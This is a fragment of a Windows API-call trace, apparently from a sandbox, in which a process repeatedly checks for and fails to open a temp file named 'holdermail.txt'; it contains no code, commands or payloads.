	[0088.899] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.899] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.899] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.900] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.900] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.900] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.900] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.900] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.900] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.901] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.901] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.901] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.901] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.902] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.902] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.902] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.903] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.903] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.903] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.903] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.903] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.905] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.905] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.905] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.905] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.905] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.905] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.905] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.906] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.906] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.906] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.907] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.907] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.907] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.907] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.908] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.908] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.908] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.908] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.908] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.908] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.909] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.909] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.909] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.909] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.909] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.909] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.909] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.910] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.910] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.910] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.910] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.910] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.911] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.911] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.911] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.911] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.912] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.912] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.912] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.912] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.913] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.913] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.913] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.913] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.913] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.913] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.913] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.914] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.914] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.914] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.914] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.914] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
